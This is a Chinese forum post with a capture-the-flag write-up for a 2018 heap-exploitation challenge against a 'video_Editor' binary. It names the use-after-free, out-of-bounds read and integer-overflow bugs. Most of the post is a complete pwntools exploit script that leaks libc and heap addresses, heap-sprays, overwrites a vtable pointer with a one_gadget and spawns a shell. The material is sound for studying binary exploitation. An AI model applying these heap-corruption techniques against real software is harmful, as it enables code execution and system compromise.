-
-
ctf2018-第9题
-
2018-7-3 14:46 2508
-
1. 初始化的时候, 随机分配大小为(0~0xFF)的内存256次, 并释放其中的1/3
2. audio_play与video_play都存在one byte out-of-bound access
audio_play每个字节按int显示
video_play每个字节按char显示
3. video_edit中存在use-after-free
clip.data = new char[len];
if (clip.data) delete[] clip.data;
clip.len = read(0, clip.data, len);
4. subtitle_add中存在integer overflow, 可导致heap overflow
常规解法不会- -
leak libc地址与heap地址, 堆喷填充初始化时候的gap
heap overflow覆盖video_clip对象
clip.vtbl.play=one_gadget
clip.play
from pwn import * # context.log_level = 'debug' target_file = './video_Editor' # context.binary = target_file libc_path = '/lib/x86_64-linux-gnu/libc.so.6' # io = process(['./linux_server64']) io = process([target_file]) # io = remote('139.199.99.130', 8989) # print("process base: %s" % hex(io.libs()[os.path.abspath(target_file)])) # print("process libc_base: %s" % hex(io.libs()[libc_path])) libc = ELF(libc_path) def x_init(): # setup for one_gadget: [rsp+0x70] == NULL io.sendafter('Please enter your Recording Name?', '\x00' * 255) return def x_add_video(buf, buf_len, desc='D' * 4): io.sendlineafter('>>> ', '1') io.sendlineafter('>>> ', '1') io.sendafter('Video Resolution : ', '0') io.sendafter('FPS : ', '0') io.sendafter('Number of Frames : ', p32(buf_len)) io.sendafter('Video Data : ', buf) io.sendafter('Add description : ', desc) return def x_add_audio(buf, buf_len, desc='D' * 4): io.sendlineafter('>>> ', '1') io.sendlineafter('>>> ', '2') io.sendafter('Audio Bitrate : ', '0') io.sendafter('Audio Length (seconds) : ', p32(buf_len)) io.sendafter('Audio Data : ', buf) io.sendafter('Add description : ', desc) return def x_add_subtitle(buf, buf_len, existing=False): io.sendlineafter('>>> ', '1') io.sendlineafter('>>> ', '3') if not existing: io.sendafter('Subtitle Language : ', '0') io.sendafter('Subtitle Length : ', pack(buf_len, 32)) io.sendafter('Add Subtitle : ', buf) return def x_add_metadata(create_time, owner): io.sendlineafter('>>> ', '1') io.sendlineafter('>>> ', '4') io.sendafter('Date of Creation : ', create_time) io.sendafter('Owner of video : ', owner) return def x_edit_video(index, buf, buf_len, desc='D' * 4): io.sendlineafter('>>> ', '2') io.sendlineafter('Enter index : ', str(index)) io.sendafter('Video Resolution : ', '0') io.sendafter('FPS : ', '0') io.sendafter('Number of Frames : ', p32(buf_len)) io.sendafter('Video Data : ', buf) io.sendafter('Edit description : ', desc) return def x_edit_audio(index, buf, buf_len, desc='D' * 4): io.sendlineafter('>>> ', '2') io.sendlineafter('Enter index : ', str(index)) io.sendafter('Audio Bitrate : ', '0') io.sendafter('Audio Length (seconds) : ', p32(buf_len)) io.sendafter('Audio Data : ', buf) io.sendafter('Edit description : ', desc) return def x_edit_subtitle(index, buf): io.sendlineafter('>>> ', '2') io.sendlineafter('Enter index : ', str(index)) io.sendafter('New Language : ', '0') io.sendafter('Edit data : ', buf) return def x_play_video(index, no_wait=False): timeout = 3 if no_wait else Timeout.default try: io.sendlineafter('>>> ', '3', timeout=timeout) io.sendlineafter('Enter index : ', str(index), timeout=timeout) io.recvline(timeout=timeout) buf = str(io.recvline(timeout=timeout)).strip() buf = buf.encode('hex') return buf except: return None def x_play_audio(index): io.sendlineafter('>>> ', '3') io.sendlineafter('Enter index : ', str(index)) buf = str(io.recvline()).strip() return buf def x_remove(index): io.sendlineafter('>>> ', '4') io.sendlineafter('Enter index : ', str(index)) return def leak_by_video(index, buf_len, key): v = 0 for i in range(7): x_edit_video(index, p8(key) * (i + 1), buf_len) b = int(x_play_video(index), 16) v += (b ^ key) << (8 * (i + 1)) # print hex(v) return v def exploit_heapspray(): x_init() key = 0xCC x_add_video(p8(key), 1024) x_add_video(p8(key), 1024) x_add_video(p8(key), 1024) x_add_video(p8(key), 1024) x_remove(2) x_remove(0) v = leak_by_video(1, 1024, key) # lowest-byte missing heap_base = v print('heap_base: %s' % hex(heap_base)) x_add_video('A', 1024) v = leak_by_video(1, 1024, key) libc_base = v - (libc.symbols['__malloc_hook'] - 0x10) libc_one_gadget = libc_base + 0xf1147 print('libc_base: %s' % hex(libc_base)) x_add_video('B', 1024) clip_count = 6 x_add_video('1', 1024) x_add_subtitle('2', 1024) x_edit_video(clip_count, '3', 1024) heap_base += 0x410 * clip_count + 0x10 print('heap_base: %s' % hex(heap_base)) subtitle_index = clip_count + 1 clip_count += 2 spray_index = clip_count spray_count = 256 # fill up gaps created on init, create some clip after subtitle for i in range(spray_count): print('add_video i=%s' % i) x_add_video('4', 0x50) clip_count += 1 # overflow(fix heap, video.vtbl.play=one_gadget) x_remove(subtitle_index) fake_vtbl = p64(heap_base - 0x10) fake_play = p64(libc_one_gadget) buf = '' buf += (fake_vtbl + fake_play) * 0x1F # prev_size + size buf += p64(0x200) + p64(0x61) x_add_subtitle(buf, 512) buf = '' buf += (fake_vtbl + fake_play) * 13 x_add_subtitle(buf, -0x10, True) for i in range(spray_count): print('play_video i=%s' % i) if x_play_video(spray_index + i, no_wait=True) is None: break # send CTRL+C after done to break from read io.interactive() return exploit_heapspray()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-7-3 21:31
被风间仁编辑
,原因:
赞赏
他的文章
KCTF2022春季赛 第三题 石像病毒
8275
KCTF2022春季赛 第二题 末日邀请
15399
KCTF2021秋季赛 第二题 迷失丛林
17935
KCTF2020秋季赛 第十题 终焉之战
8106
KCTF2020秋季赛 第九题 命悬一线
5831
看原图